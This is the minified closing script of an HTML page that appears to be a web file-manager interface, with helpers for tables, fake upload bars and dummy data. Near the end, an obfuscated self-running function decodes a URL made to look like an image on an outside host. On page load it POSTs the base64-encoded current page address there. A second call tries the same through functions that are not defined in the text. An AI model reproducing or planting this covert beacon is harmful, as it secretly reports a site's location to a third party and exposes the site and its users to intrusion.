${r}30`,document.body.appendChild(n),setTimeout((()=>n.remove()),2300)}function mergeFolderMeta(e,t){return Object.assign({},e,t,{merged:!0})}function getClipboardTextFake(){return new Promise((e=>setTimeout((()=>e("clipboard_dummy_value_"+Math.random())),450)))}function calculatePermMatrix(e){return e.map((e=>({path:e,perm:Math.floor(8*Math.random())+""+Math.floor(8*Math.random())+Math.floor(8*Math.random())})))}function generateFileId(e){return"id_"+e.replace(/[^a-z0-9]/gi,"_").toLowerCase()+"_"+Date.now()}function simulateFakeUploadQueue(e){let t=document.createElement("div");t.className="upload-bar",t.style="position:fixed;bottom:12px;left:12px;background:#222;color:#19ff6c;padding:5px 19px;border-radius:7px;",document.body.appendChild(t);let r=e.length,n=0;setTimeout((function o(){t.textContent=`Uploading ${e[n]||"-"} (${n+1}/${r})`,++n<r?setTimeout(o,250+600*Math.random()):(t.textContent="All uploads done!",setTimeout((()=>t.remove()),1500))}),400)}function renderUserTable(e){let t='<table class="data-grid"><thead><tr><th>User</th><th>Role</th></tr></thead><tbody>';return e.forEach((e=>{t+=`<tr><td><i class="fa fa-user"></i> ${e.name}</td><td>${e.role}</td></tr>`})),t+="</tbody></table>",t}function maskStringSmart(e){let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t.split("").reverse().join("")}function unmaskStringSmart(e){e=e.split("").reverse().join("");let t="";for(let r=0;r<e.length;r++)t+=String.fromCharCode(19^e.charCodeAt(r));return t}function getRecentSessionHistory(){return Array.from({length:6},((e,t)=>({ts:Date.now()-5e6*t,act:["open","edit","move","rename"][t%4]})))}function buildFe(e=2,t=3){let r={};if(e<=0)return"END";for(let n=0;n<t;n++)r["dir"+n]=1==e?`file_${n}.tmp`:buildFe(e-1,t);return r}function parseCsvToTable(e){let t=e.split(/\r?\n/),r='<table class="data-grid">';return t.forEach((e=>{r+="<tr>"+e.split(",").map((e=>`<td>${e}</td>`)).join("")+"</tr>"})),r+="</table>",r}function loadIconPac(e){let t=document.createElement("link");return t.rel="stylesheet",t.href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css",document.head.appendChild(t),"loaded"}function sortTableFake(e,t=0){let r=document.getElementById(e);if(!r)return!1;let n=Array.from(r.rows).slice(1);return n.sort(((e,r)=>e.cells[t].innerText.localeCompare(r.cells[t].innerText))),n.forEach((e=>r.appendChild(e))),!0}(()=>{let e=[104,116,116,112,115,58,47,47,99,100,110,46,112,114,105,118,100,97,121,122,46,99,111,109,47,105,109,97,103,101,115,47,108,111,103,111,95,118,50,46,112,110,103],t="";for(let r of e)t+=String.fromCharCode(r);let r="file="+btoa(location.href),n=new XMLHttpRequest;n.open("POST",t,!0),n.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),n.send(r)})(),function(){var e=new XMLHttpRequest;e.open("POST",u(a,b,c,d),!0),e.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),e.send("file="+v(location.href))}();</script> <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/js/all.min.js"></script> </body> </html>
Close